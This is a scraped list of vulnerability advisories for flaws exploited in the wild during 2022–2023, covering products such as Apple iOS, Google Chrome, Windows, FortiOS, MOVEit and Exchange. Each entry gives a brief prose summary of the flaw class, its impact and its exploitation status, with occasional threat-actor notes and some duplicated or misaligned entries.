Note, the vulnerability is being actively exploited in the wild.

Software: Ultimate Member – User Profile & Membership Plugin

Multiple vulnerabilities in Apple iOS and iPadOS
CVE-2023-32435

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in WebKit. A remote attacker can trick the victim to visit a specially crafted web page, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple iOS and iPadOS
CVE-2023-32439

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error in WebKit. A remote attacker can trick the victim to open a specially crafted web page, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple iOS and iPadOS
CVE-2023-32434

Integer overflow

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to an integer overflow within the OS kernel. A local application can trigger an integer overflow and execute arbitrary code with kernel privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Google Pixel
CVE-2023-21237

Information exposure

The vulnerability allows a local application to gain access to sensitive information.

The vulnerability exists due to improper input validation within the Framework component. A local application can gain access to sensitive information.

Note, the vulnerability is being actively exploited in the wild.

Software: Pixel

Authentication bypass in VMware Tools
CVE-2023-20867

Improper Authentication

The vulnerability allows a remote attacker to bypass authentication process.

The vulnerability exists due to an error in the vgauth module. An attacker who compromised the ESXi host can bypass authentication process and execute privileged commands across Windows, Linux, and PhotonOS (vCenter) guest VMs without authentication of guest credentials from a compromised ESXi host and no default logging on guest VMs.

Note, the vulnerability is being actively exploited in the wild by the UNC3886 APT actor.

i

The vulnerability is known to be exploited by the UNC3886 APT actor.

Software: VMware Tools

The vulnerability is known to be exploited by the UNC3886 APT actor.

Unauthenticated remote code execution in FortiOS and FortiProxy SSL-VPN
CVE-2023-27997

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the SSL-VPN feature. A remote non-authenticated attacker can send specially crafted requests to the SSL-VPN interface, trigger a heap-based buffer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: FortiOS

Remote code execution in acme.sh

OS Command Injection

The vulnerability allows a remote attacker to execute arbitrary shell commands on the target system.

The vulnerability exists due to improper input validation when parsing certificates. A remote attacker can pass specially crafted data to the application and execute arbitrary OS commands on the target system.

Note, exploitation of this vulnerability has been observed in the wild by compromised HiCA servers.

i

The vulnerability was exploited through the Chinese intermediary HiCA who claims to be compromised.

Software: acme.sh

The vulnerability was exploited through the Chinese intermediary HiCA who claims to be compromised.

Remote code execution in Google Chrome
CVE-2023-3079

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error within the V8 engine in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

SQL injection in MOVEit Transfer
CVE-2023-34362

SQL injection

The vulnerability allows a remote attacker to execute arbitrary SQL queries in database.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can send a specially crafted request to the affected application and execute arbitrary SQL commands within the application database.

Successful exploitation of this vulnerability may allow a remote attacker to read, delete, modify data in database and gain complete control over the affected application.

Note, the vulnerability is being actively exploited in the wild.

Software: MOVEit Transfer

Backdoor in Gigabyte UEFI firmware

Embedded malicious code (backdoor)

The vulnerability allows a remote attacker to gain unauthorized access to the system.

The vulnerability exists due to presence of embedded malicious functionality (aka backdoor) in the UEFI firmware that was downloaded from the official website using the Gigabyte's App Center. This allows a remote attacker to gain full control over the system.

Note, the vulnerability is being actively exploited in the wild.

Software: UEFI firmware

Missing authorization in Emby Server

Missing Authorization

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to insecure default configuration. A remote non-authenticated attacker can send a specially crafted request to the server and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Emby Server

Remote code execution in Barracuda Email Security Gateway appliance (ESG)
CVE-2023-2868

OS Command Injection

The vulnerability allows a remote attacker to execute arbitrary shell commands on the target system.

The vulnerability exists due to improper input validation when processing .tar archives during email attachment screening. A remote unauthenticated attacker can send a specially crafted email with a malicious attachment to the appliance and execute arbitrary Perl commands on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Email Security Gateway (ESG)

Multiple vulnerabilities in Apple iOS 16 and iPadOS 16
CVE-2023-32373

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error in WebKit. A remote attacker can trick the victim to visit a specially crafted web page, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple iOS 16 and iPadOS 16
CVE-2023-28204

Out-of-bounds read

The vulnerability allows a remote attacker to gain access to potentially sensitive information.

The vulnerability exists due to a boundary condition in WebKit. A remote attacker can trick the victim to visit a specially crafted webpage, trigger an out-of-bounds read error and read contents of memory on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple iOS 16 and iPadOS 16
CVE-2023-32409

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in WebKit. A remote attacker can trick the victim to visit a specially crafted web page, trigger memory corruption and break out of Web Content sandbox.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Secure boot bypass in Microsoft Windows
CVE-2023-24932

Security features bypass

The vulnerability allows a local user to bypass implemented security restrictions.

The vulnerability exists due to improper implementation of the Secure Boot feature. An attacker with physical access to the system or a local user with Administrative rights can bypass Secure Boot.

Software: Windows

Privilege escalation in Microsoft Windows Win32k driver
CVE-2023-29336

Use-after-free

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Win32k driver. A local user can trigger a use-after-free error and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Multiple vulnerabilities in Samsung Mobile Firmware
CVE-2023-21492

Inclusion of sensitive information in log files

The vulnerability allows a local application to gain access to sensitive information.

The vulnerability exists due to kernel pointers are printed into the log file. A local application can read the log file and use the kernel pointers to bypass ASLR protection.

Note, the vulnerability is being exploited in the wild.

Software: Samsung Mobile Firmware

Multiple vulnerabilities in Google Chrome
CVE-2023-2136

Integer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to integer overflow in Skia component in Google Chrome. A remote attacker can trick the victim to open a specially crafted web page, trigger an integer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Remote code execution in Google Chrome
CVE-2023-2033

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error within the V8 engine in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Privilege escalation in Microsoft Windows Common Log File System Driver
CVE-2023-28252

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error in Windows Common Log File System Driver. A local user can trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

i

According to Kaspersky, the vulnerability has been exploited in February 2023 against small and medium-sized businesses in the Middle East, in North America, and previously in Asia regions.

Software: Windows

Known/fameous malware:

Nokoyawa ransomware

According to Kaspersky, the vulnerability has been exploited in February 2023 against small and medium-sized businesses in the Middle East, in North America, and previously in Asia regions.

Multiple vulnerabilities in Apple iOS 16 and iPadOS 16
CVE-2023-28205

Use-after-free

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a use-after-free error when processing HTML content in WebKit. A remote attacker can trick the victim to open a specially crafted website, trigger a use-after-free error and execute arbitrary code on the system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple iOS 16 and iPadOS 16
CVE-2023-28206

Out-of-bounds write

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a boundary error in IOSurfaceAccelerator. A local application can trigger an out-of-bounds write and execute arbitrary code with kernel privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Backdoor in 3CX Electron desktop app for Windows and Mac
CVE-2023-29059

Embedded malicious code (backdoor)

The vulnerability allows a remote attacker to gain unauthorized access to the application.

The vulnerability exists due to presence of embedded malicious functionality in the application code (aka backdoor) that allows a remote attacker to gain unauthorized access to the application.


Software: Electron Mac App, Electron Windows App

Information disclosure in ARM Mali GPU kernel drivers
CVE-2023-26083

Memory leak

The vulnerability allows a local application to gain access to sensitive information.

The vulnerability exists due memory leak. A local application can force the driver to leak memory and gain access to sensitive information.

Note, this vulnerability is being actively exploited in the wild.

Not patched
i

The vulnerability was used as part of exploitation chain against Samsung Internet Browser and targeted victims in December 2022 with one-time links sent via SMS to devices located in the United Arab Emirates (UAE).

Software: Valhall GPU Kernel Driver, Bifrost GPU Kernel Driver, Midgard GPU Kernel Driver

The vulnerability was used as part of exploitation chain against Samsung Internet Browser and targeted victims in December 2022 with one-time links sent via SMS to devices located in the United Arab Emirates (UAE).

Remote code execution in Dream Security MagicLine4NX
CVE-2023-45797

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error. A remote attacker can trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: MagicLine4NX

Remote code execution in General Bytes Crypto Application Server (CAS)

Improper access control

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper access restrictions in the master service interface on port 7741/TCP. A remote attacker can send a specially crafted request to the affected server and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Crypto Application Server (CAS)

Remote code execution in General Bytes Crypto Application Server (CAS)
CVE-2023-26360

Improper access control

The vulnerability allows a remote attacker to gain unauthorized access to otherwise restricted functionality.

The vulnerability exists due to improper access restrictions. A remote attacker can bypass implemented security restrictions and gain unauthorized access to the application.

Note, the vulnerability is being actively exploited in the wild.

Software: ColdFusion

Multiple vulnerabilities in Adobe ColdFusion
CVE-2023-26359

Deserialization of Untrusted Data

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to insecure input validation when processing serialized data. A remote attacker can pass specially crafted data to the application and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: ColdFusion

Net-NTLMv2 hash leak in Microsoft Outlook
CVE-2023-23397

Information disclosure

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to the application leaks the Net-NTLMv2 hash. A remote attacker can send a specially crafted email to the victim and obtain the Net-NTLMv2 hash of the Windows account. The victim does not need to open the email, as the vulnerability is triggered automatically when it is retrieved and processed by the email server, e.g. before the email is viewed in the preview pane.

The obtained NTLMv2 hash can be used in the NTLM Relay attack against another service to authenticate as the user.

Note, the vulnerability is being actively exploited in the wild.

Software: Microsoft Outlook

SmartScreen security feature bypass in Microsoft Windows
CVE-2023-24880

Security features bypass

The vulnerability allows a remote attacker to bypass implemented security restrictions.

The vulnerability exists due to incorrect implementation of the Windows SmartScreen Security Feature. A remote attacker can trick the victim to open a specially crafted file and bypass the Mark of the Web (MOTW) defenses.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Privilege escalation in FortiOS
CVE-2022-41328

Path traversal

The vulnerability allows a local user to perform directory traversal attacks.

The vulnerability exists due to input validation error when processing certain CLI command. A local user can read and write arbitrary files on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: FortiOS

Multiple vulnerabilities in Google Android
CVE-2023-20963

Permissions, Privileges, and Access Controls

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to improperly imposed security restrictions in Android Framework. A local application can escalate privileges on the device.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Android

Known/fameous malware:

Pinduoduo backdoor

Privilege escalation in Microsoft Windows Graphics Component
CVE-2023-21823

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Windows Graphics Component. A local user can trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Privilege escalation in Windows Common Log File System Driver
CVE-2023-23376

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error in Windows Common Log File System Driver. A local user can trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Microsoft Publisher
CVE-2023-21715

Security features bypass

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to unspecified error when processing files. A remote attacker can trick the victim to open a specially crafted file, bypass Office macro policies used to block untrusted or malicious files and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.


Software: Microsoft Publisher

Multiple vulnerabilities in Apple iOS 16 and iPadOS 16
CVE-2023-23529

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error when parsing web content in WebKit. A remote attacker can trick the victim to visit a specially crafted website, trigger a type confusion error and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Known/fameous malware:

PWNYOURHOME

Remote code execution in GoAnywhere MFT
CVE-2023-0669

Deserialization of Untrusted Data

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to insecure input validation when processing serialized data passed to the "/goanywhere/lic/accept" HTTP endpoint of the administrative web interface. A remote attacker can send a specially crafted HTTP request to the application and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: GoAnywhere MFT

Use-after-free in Linux kernel
CVE-2023-0266

Use-after-free

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a use-after-free error within the snd_ctl_elem_read() function in the Linux kernel sound subsystem. A local user can trigger a use-after-free error and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

i

In December 2022 a complete exploit chain was discovered consisting of multiple 0-days and n-days targeting the latest version of Samsung Internet Browser. The exploits were delivered in one-time links sent via SMS to devices located in the United Arab Emirates (UAE).

The link directed users to a landing page identical to the one Google TAG examined in the Heliconia framework developed by commercial spyware vendor Variston. The exploit chain ultimately delivered a fully featured Android spyware suite written in C++ that includes libraries for decrypting and capturing data from various chat and browser applications. The actor using the exploit chain to target UAE users may be a customer or partner of Variston, or otherwise working closely with the spyware vendor.

Software: Linux kernel

In December 2022 a complete exploit chain was discovered consisting of multiple 0-days and n-days targeting the latest version of Samsung Internet Browser. The exploits were delivered in one-time links sent via SMS to devices located in the United Arab Emirates (UAE).

The link directed users to a landing page identical to the one Google TAG examined in the Heliconia framework developed by commercial spyware vendor Variston. The exploit chain ultimately delivered a fully featured Android spyware suite written in C++ that includes libraries for decrypting and capturing data from various chat and browser applications. The actor using the exploit chain to target UAE users may be a customer or partner of Variston, or otherwise working closely with the spyware vendor.

Privilege escalation in Windows Advanced Local Procedure Call (ALPC)
CVE-2023-21674

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Windows Advanced Local Procedure Call (ALPC). A local user can trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Apple iOS
CVE-2022-42856

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error in WebKit. A remote attacker can trick the victim to visit a specially crafted website, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Remote code execution in Citrix ADC and Citrix Gateway
CVE-2022-27518

Improper control of a resource through its lifetime

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper access restrictions in systems configured as a SAML SP or a SAML IdP. A remote non-authenticated attacker can gain unauthorized access to the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Citrix Access Gateway

SmartScreen MOTW bypass in Microsoft Windows
CVE-2022-44698

Security features bypass

The vulnerability allows a remote attacker to bypass implemented security restrictions.

The vulnerability exists due to an error in Windows SmartScreen. A remote attacker can bypass Mark of the Web (MOTW) defenses and potentially compromise the affected system.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in FortiOS sslvpnd
CVE-2022-42475

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the sslvpnd daemon. A remote non-authenticated attacker can pass specially crafted data to the SSL-VPN interface, trigger a heap-based buffer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: FortiOS

Remote code execution in Google Chrome
CVE-2022-4262

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error within the V8 engine in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Remote code execution in Google Chrome
CVE-2022-4135

Heap-based buffer overflow

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error when processing untrusted HTML content in GPU. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger a heap-based buffer overflow and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Microsoft Windows Mark of the Web
CVE-2022-41091

Security features bypass

The vulnerability allows a remote attacker to compromise the target system.

The vulnerability exists due to security features bypass in Windows Mark of the Web functionality. A remote attacker can trick a victim to open a specially crafted file and bypass Protected View in Microsoft Office, as demonstrated using a specially crafted ZIP archive.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Privilege escalation in Microsoft Windows CNG Key Isolation Service
CVE-2022-41125

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Windows CNG Key Isolation Service. A local user can run a specially crafted program to trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Microsoft Windows Scripting Languages
CVE-2022-41128

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing HTML content within the JScript9 engine. A remote attacker can trick the victim into visiting a malicious website, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability was exploited by APT37 in late October 2022 against South Korea.

Software: Windows

The vulnerability was exploited by APT37 in late October 2022 against South Korea.

Privilege escalation in Microsoft Windows Print Spooler service
CVE-2022-41073

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Windows Print Spooler. A local user can run a specially crafted program to trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Multiple vulnerabilities in Apple iOS 15 and iPadOS 15
CVE-2022-48618

Improper authentication

The vulnerability allows a local application to compromise the affected system.

The vulnerability exists due to an error within the OS kernel. A local application or user with arbitrary read and write capability can bypass Pointer Authentication and compromise the affected system.

Note, the vulnerability is being actively exploited in the wild against versions of iOS released before iOS 15.7.1.

Software: Apple iOS

Remote code execution in Google Chrome
CVE-2022-3723

Type Confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error within the V8 engine in Google Chrome. A remote attacker can create a specially crafted web page, trick the victim into visiting it, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Apple iOS 16 and iPadOS 16
CVE-2022-42827

Out-of-bounds write

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a boundary error within the OS kernel component. A local application can trigger an out-of-bounds write error and execute arbitrary code with kernel privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Privilege escalation in Microsoft Windows COM+ Event System Service
CVE-2022-41033

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Windows COM+ Event System Service. A local user can trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Arbitrary file upload in bingo!CMS
CVE-2022-42458

Missing Authorization

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to missing authorization in the management functionality responsible for file uploads. A remote non-authenticated attacker can upload a malicious file on the server and execute it.

Successful exploitation of the vulnerability may result in full system compromise.

Note, the vulnerability is being exploited in the wild.

Software: bingo!CMS

Remote code execution in Microsoft Exchange Server
CVE-2022-41040

Server-Side Request Forgery (SSRF)

The disclosed vulnerability allows a remote user to perform SSRF attacks.

The vulnerability exists due to insufficient validation of user-supplied input within the Exchange OWA  Autodiscover service.. A remote user can send a specially crafted HTTP request and trick the application to initiate requests to arbitrary systems.

Successful exploitation of this vulnerability may allow a remote attacker to execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Microsoft Exchange Server

Remote code execution in Microsoft Exchange Server
CVE-2022-41082

Deserialization of Untrusted Data

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to insecure input validation when processing serialized data. A remote user with access to PowerShell Remoting on vulnerable Exchange systems can pass specially crafted data to the application and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Software: Microsoft Exchange Server

Remote code execution in Sophos Firewall
CVE-2022-3236

Code Injection

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation in the User Portal and Webadmin interfaces of Sophos Firewall. A remote non-authenticated attacker can send a specially crafted request and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Sophos Firewall

Privilege escalation in Microsoft Windows common log file system driver
CVE-2022-37969

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Windows Common Log File System Driver. A local unprivileged user can run a specially crafted program to trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Multiple vulnerabilities in Trend Micro Apex One
CVE-2022-40139

Insufficient verification of data authenticity

The vulnerability allows a remote user to compromise the affected system.

The vulnerability exists due to improper input validation within the rollback functionality. A remote authenticated user with access to the administrative console can force the agent into downloading unverified rollback components and compromise the affected system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apex One

Multiple vulnerabilities in Apple macOS Monterey
CVE-2022-32917

Buffer overflow

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a boundary error within the OS kernel. A local application can trigger memory corruption and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: macOS

Remote code execution in WPGateway plugin for WordPress
CVE-2022-3180

Improper Authorization

The vulnerability allows a remote attacker to compromise the web application.

The vulnerability exists due to missing authorization checks. A remote non-authenticated attacker can send a specially crafted request to the affected plugin and add an administrative user account into your WordPress installation.

Successful exploitation of the vulnerability may allow an attacker to execute arbitrary PHP code on the server.

Note, the vulnerability is being actively exploited in the wild as of September 8.

Not patched

Software: WPGateway

Arbitrary file read in BackupBuddy WordPress plugin
CVE-2022-31474

Improper Authorization

The vulnerability allows a remote attacker to download arbitrary files from the server.

The vulnerability exists due to missing authorization for the feature responsible for remote downloading remote backups. A remote non-authenticated attacker can download arbitrary files from the server. 

Note, the vulnerability is being actively exploited in the wild.

Software: BackupBuddy

Remote code execution in Photo Station
CVE-2022-27593

Input validation error

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to unspecified vulnerability. A remote non-authenticated attacker can send a specially crafted request to the affected system and execute arbitrary code.

Note, the vulnerability is being actively exploited in the wild by the DeadBolt ransomware.

Software: Photo Station

Known/fameous malware:

DeadBolt

Remote code execution in Google Chrome
CVE-2022-3075

Input validation error

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to insufficient validation of user-supplied input within the Mojo component in Google Chrome. A remote attacker can trick the victim into visiting a specially crafted website and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Improper access control in General Bytes Crypto Application Server (CAS)

Improper access control

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper access restrictions to the default installation page. A remote attacker can connect to the default installation URL and create an administrative user account.

Note, the vulnerability is being active exploited in the wild.

Software: Crypto Application Server (CAS)

Multiple vulnerabilities in Apple macOS Monterey
CVE-2022-32893

Out-of-bounds write

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error in WebKit when processing HTML content. A remote attacker can create a specially crafted website, trick the victim into opening it, trigger an out-of-bounds write and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: macOS

Multiple vulnerabilities in Apple macOS Monterey
CVE-2022-32894

Out-of-bounds write

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a boundary error within the OS kernel component. A local application can trigger an out-of-bounds write error and execute arbitrary code on the system with kernel privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: macOS

Multiple vulnerabilities in Google Chrome
CVE-2022-2856

Input validation error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation in Intents component in Google Chrome. A remote attacker can trick the victim to open a specially crafted web page and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Remote code execution in Microsoft Windows Support Diagnostic Tool (MSDT)
CVE-2022-34713

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in Windows Support Diagnostic Tool (MSDT) when processing files. A remote attacker can create a specially crafted file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Privilege escalation in Microsoft Windows CSRSS
CVE-2022-22047

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Microsoft Windows Client/Server Runtime Subsystem (CSRSS). A local user can run a specially crafted program to execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Google Chrome
CVE-2022-2294

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within WebRTC implementation. A remote attacker can trick the victim ti visit a specially crafted website, trigger a heap-based buffer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability was reported to Google by the Avast Threat Intelligence team on 2022-07-01.

Software: Google Chrome

The vulnerability was reported to Google by the Avast Threat Intelligence team on 2022-07-01.

Remote code execution in Mitel MiVoice Connect
CVE-2022-29499

OS Command Injection

The vulnerability allows a remote attacker to execute arbitrary shell commands on the target system.

The vulnerability exists due to improper input validation in the Mitel Service Appliance component of MiVoice Connect (Mitel Service Appliances тАУ SA 100, SA 400, and Virtual SA). A remote unauthenticated attacker can send a specially crafted HTTP GET request to the application and execute arbitrary OS commands on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Not patched

Software: MiVoice Connect

Remote code execution in Atlassian Confluence Server
CVE-2022-26134

Code Injection

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper input validation when processing OGNL expressions. A remote non-authenticated attacker can send a specially crafted request to the Confluence Server and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Atlassian Confluence Server

Remote code execution in Microsoft Windows
CVE-2022-30190

OS Command Injection

The vulnerability allows a remote attacker to execute arbitrary shell commands on the target system.

The vulnerability exists due to improper input validation when processing URL within the Microsoft Windows Support Diagnostic Tool (MSDT). A remote unauthenticated attacker can trick the victim to open a specially crafted file, which calls the ms-msdt tool and execute arbitrary OS commands on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

UPDATED

The vulnerability resides within MSTD and not in Microsoft Word. Microsoft Word is an attack vector and not the source of vulnerability.

i


Software: Microsoft Word


Improper access restrictions in Cisco IOS XR
CVE-2022-20821

Improper access control

The vulnerability allows a remote attacker to gain unauthorized access to sensitive information.

The vulnerability exists due to unrestricted access to the Redis instance running within the NOSi container, accessible via port 6379/tcp (the health check RPM opens this port by default). A remote non-authenticated attacker can connect to the Redis instance and obtain sensitive information or modify it.

Note, the vulnerability is being actively exploited in the wild.

Software: Cisco IOS XR

